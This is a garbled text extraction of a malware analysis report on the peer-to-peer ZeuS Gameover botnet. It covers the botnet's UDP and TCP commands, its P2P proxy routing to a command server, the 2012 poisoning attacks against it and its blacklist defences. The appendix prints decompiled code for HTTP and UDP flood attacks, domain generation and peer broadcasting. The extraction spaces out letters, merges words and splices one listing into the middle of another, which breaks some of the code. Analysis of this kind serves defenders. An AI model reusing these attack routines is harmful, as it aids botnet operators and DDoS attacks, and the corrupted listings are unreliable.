The analysed malware used the UDP protocol to exchange the data necessary to main-tain P2P network connectivity. The communication, as already mentioned, uses ports inthe range from 10 000 to 30 000. Using this range of ports and UDP protocol significantlyreduces the probability of detecting the suspicious traffic, because a lot of network-basedgames communicate using the UDP protocol on high-numbered ports. Listing [25] presentsthe function that is responsible for pre-parsing of the received UDP data. All incomingpacket are decoded (line 11) with a XOR of the adjacent bytes (this is done by the visu-alDecrypt ZeuS 2.0.8.9 function). Each conversation (except UDP super-node broadcast

packets) consists of query and response. Table [6] summarizes the types of messages thatcan be sent over UDP. The P2P protocol adopts the convention that the even-numberedcommands are treated as queries. Odd number indicates that the received packet con-tains answers to previously sent data. Listing [26] presents the function responsible forthe processing of UDP packets. If header.cmd field indicates that this is a response, thesearch process is started to find query that matches the response packet. During the searchprocess, the comparison is made between the two fields: session identifier (SSID, line 24)and the value of the header.cmd (line 25). If the search process was successful, currentpacket is bound to the query (line 26), corresponding event is being set (line 27) indicating

18

8/13/2019 2013-06-p2p-rap_en

22/42


that the response was received. Afterwards the query-package is removed from the waitingqueue (line 28).

Table 6 shows the identified types of UDP packets.

Table 6: List of UDP commands

CMD value Description

0x00 version query

0x01 + response

0x02 peer-list query

0x03 + response

0x04 data query

0x05 + response

0x06 super-node address broadcast

0x32 super-node address broadcast

19

8/13/2019 2013-06-p2p-rap_en

23/42


6.1.1 UDP 0x00, 0x01: version request

Query [ 0x00 ]

The packet containing the CMD field equalto 0x00 indicates the request for resourcesversion. By default, this package does notcontain any content. In some cases, thepackage body may be supplemented by 8bytes (2xDWORD) as in example below.The first DWORD is then treated as aboolean value that indicates if additionalresponse should be made. This additional

packet will contain list of addresses of super-nodes.

/ / . . . .. .i nt t mp [ 2] ; / / 4 b yt es

i nt d at aS iz e = 0 ;

i nt d a ta P tr = N UL L ;if ( f la gE xt Qu er y ) { / / 0 or 1

t m p [ 0] = f l a g E xt Q u e r y ;

t m p [ 1] = r a nd : : g e n R a n d ( ) ;d a ta S iz e = 8 ;

d a ta P tr = t mp ;

}

p k t = p k t : : b u i l dP a c k et (dstPeer , CMD_0x00_QUERY_VERSION ,

N U LL , N UL L ,dataPtr , dataSize , mkFlag

);

/ / . . . .. .

Listing 11: Packet 0x00

Answer [ 0x01 ]

In response to a query 0x00 client receivesa packet type 0x01. This packet containsdata as presented in the listing below.

Binary version

Configuration file version

TCP port number available on remote

peer

t y pe d ef s t ru c t {

D W O RD B i n a r y_ v e r ;D W O RD C o n f i g_ v e r ;

W OR D T CP _p or t ;

B Y TE r a nd o mF i ll [ 1 2 ];} p k t 0 1 _ ve r R e p ly ;

/ / . . . . .. . .

p k t 0 1 _ ve r s i o n Re p l y d a t a ;

rand::fill(&data,sizeof(pkt01_verReply));d a ta . B i n a r y _ v er = r e s . r e s1 . v e r s i o n ;

d a ta . C o n f i g _ v er = r e s . r e s2 . v e r s i o n ;

i f ( S Ad d r . s a_ f am i ly = = A F _I N ET )

d a t a . T C P _p o r t = t h i s . p 2 p Ob j e c t . P O R Tv 4 ;else

i f ( S A dd r . s a _f a mi l y = = A F _I N ET 6 )d a ta . T C P _ p o r t = t h is . p 2 p O b j e c t . P O RT v 6 ;

else

d a ta . T C P _ p o r t = 0 ;


20

8/13/2019 2013-06-p2p-rap_en

24/42


6.1.2 UDP 0x02, 0x03: peer list request

Query [ 0x02 ]

The peer-query packet contains an ID (20bytes). This ID is used during selection ofnodes on remote peer. Selection process isbased on the distance calculated using XORmetric. The answer consist of maximum 10nodes, which are closest to mentioned ID.The process of building a query is presentedbelow.


B YT E r eq ID [ 20 ]B Y TE r a nd o mF i ll [ 8 ] ;

} p k t 0 2 _ pe e r s Q u er y ;

/ / . .. .

me mc py _ ( da ta . re qI D , ds tP ee r .I D , 20 ) ;

rand::fill(& data.randomFill , 8);

p k t = p k t : : b u i ld P a c k et (dstpeer , CMD_0x02_QUERY_PEERS ,

N U LL , N U L L

d at a , 2 8, 1) ;

Listing 13: bulding peer-query

Answer [ 0x03 ]

The answer (package 0x03) contains a listof up to 10 peers. Each entry in the listcontains the ID, the IP addresses and UDPports on node. Answer packet structure isshown below.


B Y T E i p V 6 Fl a g ;B Y T E p e e r ID [ 2 0 ] ;

B Y T E p e e r I p_ v 4 [ 4 ] ;

W O R D p e e r U dp P o r t _v 4 ;

B Y T E p e e r I p_ v 6 [ 1 6 ] ;W O R D p e e r U dp P o r t _v 6 ;

} p k t 0 3 _ pe e r E n tr y ;

p k t 0 3 _ pe e r R e pl y p k t 0 3 _ pe e r E n tr y [ 1 0 ] ;


6.1.3 UDP 0x04, 0x05: data fetch

NOTE: The analysis of latest version of the malware shows that this typeof packets are no longer supported by the bot.

21

8/13/2019 2013-06-p2p-rap_en

25/42


Query [ 0x04 ]

The packet 0x04 is used to initialize thedata transmission using UDP. It includes theinformation about what type of resourcesclient wants to download and how much datashould be transmitted. Because UDP is con-nectionless and has a packet size limitationin order to retrieve the resource multiplepackets [0x04, 0x05] must be exchanged.


B YT E r es ou rc eT yp e ; / / 0 o r 1

W O R D o f f s e t ;

W O R D c h u n k Si z e ;} p k t 0 4 _ da t a Q u er y ;

Listing 15: Data transmission request

Answer [ 0x05 ]

In response to packet 0x04, bot sends thepacket 0x05. It contains a part of the re-quested data. Additionally the package con-tent begins with transferID that does notchange during the transmission of a singleresource type. This is to used for error de-tection and to avoid transmission interfer-ences. The structure of the response packetis shown below.

t y pe d ef s t ru c t {D W O RD t r a n s fe r I D ;

B YT E d at a [. .. ]; // p kt 04 _d at aQ ue ry .

chunkSize

} p k t 0 5 _ da t a R e pl y


6.1.4 UDP 0x50: super-node announcement

Packets of this type are used to broadcast the addresses of the super-nodes over theP2P network. Each packet contains, in addition to information about the address of thenode, a digital signature. When a bot receives packets of type 0x50 it broadcasts this

packet to all of its neighbour nodes (see listing [27]) and decreases the value of the TTLfield by 1.

6.2 P2P Protocol: TCP messages

The analysed malware uses the TCP protocol to exchange larger chunks of data. Asin the case of UDP, TCP port number is a randomly selected from 10000 to 30000. Thesame port is used to operate the P2P protocol and by the HTTP-PROXY mechanism.As shown in the code on listing [28] initially bot reads 5 bytes from the socket and thencompares it with string GET or POST (line 8) to detect HTTP request. If one of the

matches is successful, then the program checks whether the client originates from a localcomputer (i.e. localhost or address 127.0.0.1 ) if so, it switches to the HTTP over P2Pmechanism (discussed later in the report).

If first 5 bytes do not indicate an HTTP request, the program treats the incomingdata as P2P protocol. Each session always begins by reading p2p-header followed by dataexchange. List of identified TCP commands is presented in table [7]. Each transmittedbyte, including the header, is encrypted using the RC4 algorithm. Each TCP session usestwo keys: one for the sender and one for the recipient. Each of the RC4 keys is built based

22

8/13/2019 2013-06-p2p-rap_en

26/42


on the node ID of the recipient.

Table 7: TCP messages list

CMD value Description

0x64 Force update - configuration file

0x66 Force update - binary file

0x68 Update request - configuration file

0x6A Update request - binary file

0xC8 Force update - super-node list

0xCC P2P-PROXY channel request

6.2.1 HTTP via P2P, aka P2P-Proxy

In the analysed variant of ZeuS a mechanism called by usP2P-Proxywas implemented.From the point of view of the client (e.g. a web browser) it works like a normal HTTPproxy, accepting the HTTP queries and returning the response. The innovation present

in this mechanism lies in the fact that the HTTP request is wrapped in a P2P protocoland then transmitted via the chain of super-nodes to the destination. It allows to servecontent over HTTP without the need to place this content on a public IP address or domain.

After connecting to one of the super-nodes the bot sends a p2p-headerwithCMD =0xCC(see [6.2.1]). This initializes the connection. Then, in order to test the establishedchannel, the bot sendsGET / testHTTP request. If the attempt was successful it sends 5bytes read earlier from the browser request (see the beginning of the function in listing [28]).Next, the original HTTP request is enriched with header containing bot ID, and the entireHTTP request is sent by the established channel to the super-node (as shown in listing [29].

The same mechanism is used to send reports to the CnC server. The data is sent viaa POST /write request (as shown [9]). An interesting fact is that, unlike in other ZeuSvariants, the content of POST request is not encrypted. Perhaps the authors assumed thatthe encryption in P2P communication layer is sufficient.

6.2.2 TCP 0x64, 0x66: resource update request (PUSH)

This type of package allows the botmaster to connect directly to the infected ma-chine and push the new version of the resource. It can upgrade both the configuration

23

8/13/2019 2013-06-p2p-rap_en

27/42


Figure 9: Sending data to CnC - POST /write request

file (0x66) and binary (0x64). Both packet types are handled by a single functionread-DataAndUpdate(see listing 30).

6.2.3 TCP 0x68, 0x6A: resource request (PULL)

Packets 0x68, 0x6A are used to download the new version of the resource. ThehandleDataReqfunction (listing [31]) handles the data request. Depending on the value ofthe CMDthe binary (0x68) or configuration (0x6A) file is sent, preceded by 4 bytes sizeof the resource.

6.2.4 TCP 0xC8: super-nodes list update request (PUSH)

0xC8 packet, similar to 0x64, 0x66, allows the botmaster to force the update of super-nodes list. In addition, if the bot receives signed packet with an empty content, the list iscleared. Listing [32] presents the function that handles this type of connections.

6.2.5 TCP 0xCC: P2P-PROXY

Packet type 0xCC initiates a channel that allows the data transfer over the networkusing super-nodes. Listing [33] presents the function responsible for the transmission of

data using a super-nodes. After receiving a TCP connection with the instruction 0xCCin the header, the bot randomly selects one of the super-nodes from the local list and sendreceived data to it. During this forwarding process, the data is decrypted and the HTTPrequest is enriched with additional header X-Real-IP containing clients IP address. Af-terwards, newp2pHeader, withTTL field reduced by 1 and re-encrypted data is sent tothe previously selected super-node.

24

8/13/2019 2013-06-p2p-rap_en

28/42


Bot (Client) P2P Proxy 1 P2P Proxy 2

HTTP request from browser

Select next super-nodep2pHeader [0xCC]

GET /test

HTTP/1.1 OK

Request

p2pHeader [0xCC]

Select next super-node

GET /test

HTTP/1.1 OK

Request

... p2p ...

data

data

Figure 10: Data flow over p2p-proxy

7 Attacks on P2P Network

In 2012 our P2P networks monitoring system registered two attempts to attack the

network. The attacks were unsuccessful, because after a while the botnet received anupdate, which made the network resistant to attack and restored the control over the P2Pnetwork. Both attacks were based on the poisoning of the list of neighbours peer list.

7.1 Spring 2012

Figures 11 and 12 presents graphs of the P2P activity from the point of view of ourmonitoring system. One can see, that the Spring poisoning caused a slow but steadydecrease in activity. The minimum activity was registered during the next 11 days, afterwhich a new version of the bot was distributed the P2P network. This led to the attack

being blocked and to a rapid increase in the registered activity. The main change introducedin the spring update was the addition of a blacklist mechanism. A description of thismechanism can be found in the next section.

7.2 Autumn 2012

The Autumn poisoning was more effective. The attack resulted in a rapid decrease ofactivity and a few days later monitoring system indicated almost no activity. However, onceagain, the botmaster was able to release and distribute an update over the p2p network.This time it took him 13 days. Autumn update introduced additional mechanisms that

25

8/13/2019 2013-06-p2p-rap_en

29/42


Figure 11: P2P network activity during attack

Figure 12: P2P network activity during attack

would prevent further poisoning. Description of implemented mechanisms can be found innext chapter.

26

8/13/2019 2013-06-p2p-rap_en

30/42


8 P2P Network protection: internal bot mechanisms

8.1 Static blacklistIn May (after the first attack was recorded by our system) an update was released,

introducing first restrictions in P2P network communication. It implements a static black-list consisting of the IP address ranges (network address and mask) that, when trying tocommunicate with the bot, will be ignored. This list (in order to make the analysis harder)is encrypted using a simple XOR function with a static 4-byte key. It should be noted thatthis list supports only IPv4 addresses. Listing [34] contains the code of function, thatchecks IP address for the presence on static blacklist.

8.2 Connection rate limitIn one of the next updates, an additional mechanism was introduced to limit the number

of connections per IP address. If the same IP address sends more than 10 packets over60 seconds it is marked with 1. This means a temporary blacklisting. The maximumnumber of entries in the list is 2000. In contrast to the static blacklist, connection limitmechanism supports both IPv4 and IPv6. The function code is shown on listing [35].

8.3 Limitations for a list of neighbouring peers

Gameoverhas implemented a mechanism for limiting the occurrence of IP addresses

on the list of neighbouring nodes. It works with both IPv4 and IPv6. Mentioned functioncode, called before adding a new node to the local list, is shown in listing [36]. It checkssequentially the IPv4 and IPv6 address of new peer.

For IPv4 addresses, the mechanism restricts the occurrence of IP addresses from thesame subnet on the list of neighbouring peers. The subnet mask is defined statically andis equal to 255.255.255.128.

In the case of IPv6 addresses, the function perform strict IP address lookup.

9 Listings

Below are excerpts of the malware decompliled code:1 i n t w e b i n j : : f i x _ P R O X Y_ S E R V E R_ H O S T ( c h a r * * p T e xt , i n t * p T e x t L e n ) {2 / * F i nd a nd r e pl a ce a ll % _ P RO X Y_ S E RV E R_ H O ST _ $ w it h 1 27 . 0. 0 .1 : T CP - P O R T * /3 c h a r f o r m a tB u f [ 1 6 ] ;

4 c h a r n e w S t rB u f [ 4 8 ] ;5 i nt P R OX _ ST R _S I ZE = 21 ;6 n e t w o r kS e t t i ng s n e t S et ;

7 i nt fo u nd O ne = 0 ;8

9 c h a r * P r o xS t r = m e m : : a l lo c ( 3 2 7 ) ;

10 i f ( Pr o xS t r == N U LL ) r e tu r n 0;11 s t r : : g e t Cr y p t e dA ( C S T R _ P R O X Y_ S E R V ER _ H O ST , P r o x St r ) ; / / g e t " $ _ P R O X Y _ S ER V E R _ H O ST _ $ "12

13 n e wS t rS i ze = -1 ;

27

8/13/2019 2013-06-p2p-rap_en

31/42


14 f n d P os = s t r : : f i n d Su b s t r i ng N ( * p T ex t , * p T e xt L en , P r ox S tr , P R O X _ ST R _ S I Z E ) ;15 w h il e ( f n dP o s ) {

16 f o un d On e = 1 ;

17 i f ( n e w S t r Si z e = = - 1 )18 s t r : : g e t C ry p t e dA ( C S T R _ 1 2 7 _0 _ 0 _ 1 _T C P , f o rm a t S tr ) ; / / g e t "1 2 7 . 0 .0 . 1 : % u "

19 reg::readNetSettings(&netSet)20 c h ar * s t r E n d = s t r : : s p r i n t fX 2 ( n e w S tr B u f , 4 8 , f o r m a tS t r , n e t S e t . t c p P or t ) ;21 n e wS t rS i ze = s t rE n d - n e wS t rB u f

22 }23 n e wS i ze = (* p T e xt L en - P R OX _ S TR _ SI Z E ) + n e wS t rS i ze ;24 i f ( ne wS iz e > * p Te xt Le n ) {25 c h ar * o l dP t r = p T ex t ;

26 m em : : r eS i ze ( p Te xt , n e wS i ze ) ;27 f n dP o s = p T ex t + ( f n dP o s - o l dP t r );28 }

29 i nt t m pL e n = * p T ex t Le n - ( p Te x t - fn d Po s + P RO X _S T R _S I ZE ) ;30 m e mm o ve ( f n d Po s + n e wS t rS i ze , d n s Po s + P R O X_ S TR _ SI Z E , t mp L en ) ;31 m e m c py ( f n dP o s , n e wS t r Bu f , n e wS t r S i ze ) ;32 f n d P os = s t r : : f i n d S u b s t ri n g N ( * p T ex t , * p T e xt L en , P r o x S tr , P R O X _ ST R _ S I Z E ) ;

33 }34 mem::free1(ProxStr);35 r e t u rn f o u n dO n e ;

36 }

Listing 17: $ PROXY SERVER HOST $ string replacement

1 i n t s c r i p t s : : D D o S _t y p e ( i n t a r g c , w c h a r * a r g v [ ] ) {2 w c h ar t m p B uf [ 8 ] ;3 str::getCryptedW (CSTR_dhtudp ,tmpBuf);4 i f ( s t r : : c m pW ( a r g v [ 1 ] , t m pB u f , - 1) {

5 t h i s . d d os O b j = n e w d d o s C l as s D h t U dp ( ) ;6 r e t u rn 1 ;7 }

8

str::getCryptedW (CSTR_http , tmpBuf);9 i f ( s t r : : c m pW ( a r g v [ 1 ] , t m pB u f , - 1) {

10 t h i s . d d os O b j = n e w d d o s C l as s H t t p ( ) ;

11 r e t u rn 1 ;12 }13 r e t u rn 0 ;14 }

Listing 18: Setting DDoS Type

1 v o i d d d o s T h re a d : : r u n ( ) {

2 i n t r e s u lt ;3 i n t s t a r tT i m e = Ge t T i c kC o u n t ( ) ;4 do {

5 this.ddosObject.attack(globalStopEvent);

6 i f ( ( G e t Ti c kC o un t ( ) - s t ar t Ti m e ) > = t hi s . a t ta c k Du r at i on )7 break;8 r e s u lt = W a i t F o rS i n g l e Ob j e c t _ ( g l o b al S t o pE v e n t , t h is . s l e e p T i me ) ;

9 } w h il e ( r e su l t == W A I T _T I ME O UT ) ;10 }

Listing 19: DDoS attack main loop

1 i n t d d o s H t t p : : a t ta c k ( v o i d * s t o p E v e nt ) {2 int i = 0;

3 i nt st at us = 0 ;4 i f ( t hi s . t a rg e tL i st . e l C ou n t == 0 )5 r e t u rn 0 ;6 do {

28

8/13/2019 2013-06-p2p-rap_en

32/42


7 s t r u c t _T a r g e t Ht t p * c u r T ar g e t = & t h i s . t a r g et L i s t . d a t aP t r [ i ] ;8 i f ( t ar ge t - > e n ab l ed ) {

9 i n t r e t V al ;

10 w i n i n et C l a s s n O bj = n e w w i n i n et C l a s s ( ) ;11 retVal = nObj.http_startReq (curTarget ->userAgent , curTarget ->dstURL,

12 curTarget ->postData , curTarget ->postDataSize ,13 curTarget ->inetFlag , curTarget ->httpFlags );14 n O b j . s t at u s = r e t V al ;

15 i f ( r et Va l ) {16 r e t V al = n O bj . h t t p _ r e a d Da t a ( N U LL , 0 x 5 00 0 00 , s t o p E v e nt ) ;17 c u r T ar g e t . s t a t us = r e t Va l ;18 i f ( r et Va l )

19 s t at u s = 1 ;20 }21 inter::closeAll(&inetStruct);

22 }23 } w h i le ( i < t h is . t a r ge t Li s t . e lC o un t ) ;24 r e t u rn s t a tu s ;25 }

Listing 20: HTTP DDoS

1 i n t d d o s D h t U dp : : a t t a c k ( v o id * s t o p Ev e n t ) {2 int i = 0;

3 i nt st at us = 0 ;4 i f ( t hi s . t a rg e tL i st . e l C ou n t == 0 )5 r e t u rn 0 ;

6 do {7 s t r u c t _T a r g e t D ht U d p * c u r T ar g e t = & t h i s . t a r g et L i s t . d a t aP t r [ i ] ;8 i f ( cu r T ar g e t - > e n a b l ed ) {

9 C l a s s _ P2 P P a c ke t p k t 1 ;

10 N e t O bj n e t1 ;11 i n t r e t V al ;12

s o c k ad d r a d dr ;13 p k t1 = p2 p : : c re a te P ac k et s ( 0 , 0 , _n ul l , _ nu ll , _ n ul l , _ nu ll , _ n ul l , _ n ul l ) ;14 i f ( ! pk t1 ) {15 c u r Ta r ge t - > s t a t us = 0 ;

16 continue;17 }18 memcpy(&addr, &curTarget ->sockaddr , 0x1Cu);19 i f ( c ur T a rg e t - > p o r tA & & cu r T ar g e t - > p o r tZ ) {

20 W O R D p o rt = h t o ns ( r a nd : : r a n g e ( cu r T ar g e t - > p o rt A , c u r Ta r g et - > p o r t B ) ) ;21 i f ( a dd r . s a_ f am i ly = = A F _I N ET || a dd r . s a _f a mi l y = = A F _I N ET 6 )22 a dd r . p or t = p or t ;

23 }24 n e t 1 . i n i t_ e m p t y ( T y p e By F a m i ly ( a d d r . s a _ f a m il y ) , P R O T O_ U D P ) ;25 r e t V al = n e t1 . b i n d E x ( 0 , S O M A XC O N N ) ;

26 i f ( r e t V al )

27 r e t V al = n e t1 . u d p S e n d T o ( & ad d r , pk t 1 . P KT . d a t a Pt r , p kt 1 . P K T . d a ta S i ze , s to p E v en t ) ;

28 c u r Ta r g et - > s t a t us = r e t V al ;29 s t at u s = r e tV a l ;

30 pkt1.uninit();31 net1.shutdown();32 }

33 i++:34 } w h i le ( i < t h i s . t ar g et L is t . e l Co u nt ) ;35 r e t u rn s t a tu s ;36 }

Listing 21: DhTUdp DDoS

1 i n t r e s o u r c e_ v e r i f y Si g n a t u r e ( c h ar * r a w Da t a , i n t d a t a Si z e ) {2 c h a r l o c a lB u f [ 2 8 4 ] ;

29

8/13/2019 2013-06-p2p-rap_en

33/42


3 c h a r k e y [ 4 ];4 i nt ke yL en = 0 ;

5

6 * ( D W O RD * ) k e y = 0 x 5 B 3 8 B 65 D ;7 mem::copy(localBuf , localPublicKey , 276);

8 int i = 0;9 int j = 0;

10 do {

11 l o c a lB u f [ i + + ] ^ = k e y [ j + +] ;12 if ( j == 4 ) j = 0;13 } while ( i < 276 );14 s t r u c t_ h a s h h a s h ;

15 h a s h : : i ni t ( & h as h , E N U M _ HA S H _ S H A1 ) ;16 h a sh . p u bK e y = 0 ;17 i f ( h a s h : : i m p or t K e y ( & h as h , l o ca l B u f ) ) {

18 k e y L en = c r y pt : : g e t K e y L e n _ i nB y t e s ( & h a sh ) ;19 i f ( ke yl en > 0 && d a t aS i ze > k e y Le n ) {20 i nt c o nt e nt L en = d a ta S iz e 1 - k e yL e n ;21 h a s h : : a dd ( & h a sh , r a w Da t a , c o n t en t L e n )

22 i f ( ! h a sh : : v e r i f y S i g na t u r e ( & h as h , ( r a w D a ta + c o n t e nt L e n ) , k e y L en ) ) {23 keyLen=0;24 }

25 }26 }27 hash::uninit(&hash);

28 m e m s et ( l o c a l Bu f , 0 , 2 7 6 ) ;29 r e t u rn k e y Le n ;30 }

Listing 22: Digital signature verification

1 i n t p e e r U pd a t e r : : D G A _m a i n ( v o i d * p S to p Ev , G D A p ar a m s * p a r a ms ) {2 s i gn e d i nt st a tu s ;

3

D A T E TI M E d a t e Ti m e ;4 c h a r d o m a i nB u f [ 6 0 ] ;5 http::getTimeFromWWW(&dateTime);6 i f ( d at eT im e . wY ea r < 2 01 1 u )

7 GetSystemTime(&dateTime);8 i nt s e ed = r an d : : g en R an d ( ) ;9 int i = 0;

10 w hi le ( 1 ) {11 i f ( p St op Ev != N UL L )12 i f ( W a it F o r S i ng l e O b j e ct ( p St o pE v , 15 0 0 ) ! = WA I T _ T IM E O U T )

13 r e t u rn 0 ;14 else15 Sleep(1500);16 i n t d o m a i n L en = D G A : : g e n e ra t e D o ma i n ( d o m a in B u f , & d a t e T im e , s e e d + + % 1 0 0 0 u ) ;

17 i f ( ! d om ai nL en )18 r e t u rn 0 ;

19 s t a t us = DG A : : l o a d P e e r li s t F r o m Do m a i n ( d o m ai n B uf , p a ra m s ) ;20 i f ( s ta tu s = = 0 ) b re ak ;21 if ( s ta tu s != 2 ) {22 ++i;23 i f ( i == 1 00 0 ) r et ur n 0;

24 }25 }26 r e t u rn 1 ;

27 }28 / / - - - - - - - - - -- - - - - - - - - - -- - - - - - - - - - -- - - - - - - - - - -- - - - - - - - - - -- - - - - - - - - - -- - - - - - - - - - --29 i n t D G A : : g e n e ra t e D o ma i n ( c h a r * o ut , D A T E TI M E * d a t et i m e , i n t s e e d ) {

30 u n s i gn e d _ _ i nt 8 p o s ;31 c h a r * p t r M D5 ;32 c h a r d a ta [ 7 ] ;33 c h a r m d 5 Bu f [ 3 2 ] ;

30

8/13/2019 2013-06-p2p-rap_en

34/42


34 * ( c h a r * ) ( d a ta + 0 ) = L O B Y TE ( d a t e t im e - > w Y e ar ) + 0 ;35 * ( c h a r * ) ( d a t a + 1) = L O B Y TE ( d a t e t im e - > w M o n th ) ;

36 * ( c ha r * ) ( da t a +2 ) = 7 * ( d a te t im e . d ay s / 7 ) ;

37 * ( D W O RD * ) ( d a t a + 3 ) = s e e d ;38 i n t r e s u lt = h a sh : : f a s t C a l c ( H AS H _ MD 5 , m d 5 Bu f B uf , d at a , 7 ) ;

39 i f ( re su lt = = 0) r e tu rn 0 ;40 i nt i = 1 6;41 i nt po s = 0 ;

42 do {43 c ha r c1 = ( * md 5B uf & 0x 1F ) + a ;44 c ha r c 2 = (* m d5 Bu f >> 3) + a ;45 if ( c1 != c2 ) {

46 i f ( c1 1 4 24 ) / / m a xP a ck et Si ze5 r e t u rn 0 ;6 i f ( s a ! = N UL L & & s a 0 - > s a_ f am i ly = = A F _ I NE T & & s a - > s a _ fa m il y = = A F _I N ET 6 )7 r e t u rn 0 ;

31

8/13/2019 2013-06-p2p-rap_en

35/42


8

9 C r y p t St r u c t 1 c s 1 ;

10 c s 1 . t y pe = E N C _ V IS U A L ;

11 c r yp t : : u ni D ec r yp t or ( & c s 1 , b uf , b u fS i ze ) ;12 i f ( * b u f = = 0)

13 r e t u rn 0 ;14 p 2 p H ea d e r * h d r = ( p 2 p H e a de r ) ( b u f ) ;15 i f ( b u fS i ze < h dr . j u nk S iz e + s i ze o f ( p2 p He a de r ) )

16 r e t u rn 0 ;17

18 N e t Pk t 1 * p k t n e w N e t P kt 1 ( N U L L ) ;19 p kt - > d a t a S i z e = b u f Si z e ;

20 p kt - > d a t a P t r = m e m : : c op y ( b uf , b u f S iz e ) ;21 m e m s et ( p k t - > S A , 0 , 1 2 8 ) ;22 m e mc p y ( pk t - > SA , s a , n e t :: g e t Sa S iz e ( sa ) ) ;

23 m e m c py ( p k t - > h dr , bu f , si z e of ( p 2 p H e a d e r ) ) ;24 r e t u rn p k t ;25 }

Listing 25: UDP packet parsing

1 i n t p 2 p : : p r o c e ss U d p ( N e t P kt 1 * p k t ) {2 i f ( p kt - > d a t aP t r == N UL L )3 r e t u rn 0 ;

4 i f ( !( pkt - > hd r. cm d & 1) ) / / if q ue ry :5 i n t r e s u lt ;6 i f ( p kt - > h d r . cm d = = C M D _x 3 2_ P R OX _ AD V 2 )

7 r e s u lt = t h is . p r o c e s s P r o xy A d v ( t h is - > a d v Ca c he , p kt - > P K T . h d r . S S I D ) ;8 else9 r e s u lt = t h is . i n c o m i n q Q ue r y ( p k t ) ;

10 i f ( r es ul t )

11 r e s u lt = t h is . t r y T o A d d P ee r ( p k t ) ;12 r e t u rn r e s ul t ;13

}14 / / el se - no t qu er y :15 q u er y Cm d = pk t - > h dr . c md - 1;16 RtlEnterCriticalSection_(&this->PktQueue_CritSect1);

17 i f ( t hi s . q ue u eS i ze = = 0 ) r et u rn 0 ;18 int i = 0;19 Q ue Pk t * q p = NU LL ;20 f o r ( i = 0 ; i < t h is . q u e u e S i ze ; i + + ) {

21 q p = t h is . p k t Q u e u e [ i ] ;22 i f ( q p = = N U LL ) c o n t in u e ;23 i f ( ! qp - > c h e c k E v e nt ( ) ) c o n t in u e ;

24 i f ( m em c mp ( p kt - > h d r . SS ID , q p - > h dr . S S ID , s i z eo f ( S HA _ ID ) ) ) c o nt i nu e ;25 i f ( q u er y Cm d = = q p - > hd r . cm d ) {26 q p - > a n s w e rP k t = n e w A n s w er P k t ( p k t ) ;

27 SetEvent(qp-> answerPkt ->event);

28 this.pktQueue[i]=NULL;

29 break;30 }

31 }32 this.cleanupQueue();33 RtlLeaveCriticalSection(&this.PktQueue_CritSect1);

34 r e t u rn 0 ;35 }

Listing 26: UDP packet processing

1 t y pe d ef st r uc t {2 D W O RD n u l l P ad d i n g ;3 B Y T E p e e rI D [ 2 0 ] ;4 B Y T E p e e r Ip V 4 [ 4 ] ;

32

8/13/2019 2013-06-p2p-rap_en

36/42


5 W O R D p e e r T c pP o r t _ v4 ;6 B Y T E p e e r Ip V 6 [ 1 6 ] ;

7 W O R D p e e r T c pP o r t _ v6 ;

8 } p k t 5 0 _ su p e r n o de A d v9

10 //..........11

12 i n t p 2 p : : h a n d l e 0 x 5 0 _P r o x y A d v ( c l a s s_ p k t * q u e r y Pk t ) {

13 c h a r * pk t D a ta = q u e ry P k t . P K T . p t rD a t a + si z e o f ( p 2 p He a d e r ) ;14 i n t c o n t e nt S i z e = q ue r y P kt . g e t C o n t e n t Si z e ( ) ;15 i f ( c o n t en t Si z e < s i z e of ( p k t 5 0_ s up e r no d eA d v ) )16 r e t u rn 0 ;

17 i f ( ! r e s o ur c e : : v e r i f y S ig n a t u r e1 ( p k t D at a , c o n t e n t S i z e ) )18 r e t u rn 0 ;19 i f ( ! t h is . s u p e r n o d e C ac h e . c h e c k ( p kt D a ta , c o n t e nt S i z e ) )

20 r e t u rn 0 ;21

22 o l d T TL = q u e r yP k t . P K T . h e a de r . T T L ;23 i f ( ol dT TL )

24 this.broadcastSupernode(25 q u e r yP k t . P K T . h e a de r . c m d , q u e r yP k t . P K T . h e a de r . S S ID ,26 o l dT T L - 1 , p k tD at a , c o nt e nt S iz e ) ;

27 r e t u rn 1 ;28 }29

30 i nt p 2p : : b r oa d ca s t Su p e rn o de ( B Y TE c md , c ha r * s si d , B Y TE t tl , c h ar * d at a , i nt d a ta S iz e ) {31 c h a r t m p Bu f [ 2 0 ] ;32 p e e r li s t = p e e r li s t : : l o a d F r om R e g ( ) ;33 i f ( ! p ee rl is t1 )

34 r e t u rn 0 ;35 i n t c n t = p e e r li s t 1 - > c o u nt ;36 i f ( c n t = = 0)

37 r e t u rn 0 ;38 i f ( ss id = = NU LL ) {39

hash::createRand(&tmpBuf);40 s s id = t m pB u f ;

41 }42 this.supernodeCache.updateSID(ssid);43 i nt i ;

44 f o r ( i = 0 ; i < c nt ; i + + ) {45 p k t = p k t : : b u i l dP a c k et (46 peerlist ->elements[ i], cmd,

47 s si d , t tl ,48 d a ta , d a t aS i z e , 049 );50 i f ( p kt )

51 this.addPacketToQueue(pkt);52 }53 mem::free(peerlist ->elements) ;

54 mem::free(peerlist);

55 r e t u rn 1 ;56 }

Listing 27: packet type 0x50, and related functions

1 i n t p 2 p : : p r o c e s s T c p C on n e c t i on ( n e t C r y p t O bj n e t O bj ) {2 i nt t mp ;

3 c h a r t m p Bu f [ 5 ] ;4

5 t mp = n e tO b j . re cv ( t m pB uf , 5 , t h is , t h is . s t o pE v en t ) ;

6 i f ( t mp = = 0) r et u rn 0;7

8 i f ( m e m cm p ( t mp Bu f , " G ET " , 4 ) = = 0 | | m e mc m p ( tm pB uf , " P O S T " , 5 ) = = 0 ) {9 s o c k ad d r S A ;

33

8/13/2019 2013-06-p2p-rap_en

37/42


10 i f ( ! n e t Ob j . g e t S o c k ad d r ( & S A ) ) r e t u rn 0 ;11 i f ( SA . s a_ fa mi ly == A F_ IN ET ) {

12 i f ( S A . sa _ da t a [ 2] ! = 1 27 ) ) r e tu r n 0 ;

13 } e ls e {14 i f ( S A . s a_ f am i ly = = A F _I N ET 6 )

15 i f ( m e mc m p ( I P v6 L oc a lh o st , & S A . sa _ da t a [ 6] , 1 6) != 0 ) r e tu r n 0 ;16 else17 r e t u rn 0 ;

18 } // o nl y ac c ep t HT TP r eq f ro m l oc a lh o st19 p r o x y Se n d e r s e n d er ;20 s e n d er . p 2 p _ O b j = t h is ;21 s e n d er . n e t _ O b j = n e t Ob j ;

22 s e n d er . t m p B u f = t m p B uf ;23 t mp = t hi s . p 2 pP r ox y . P u sh R eq u es t ( & PX , t hi s . s to p Ev e nt ) ;24 } e ls e {

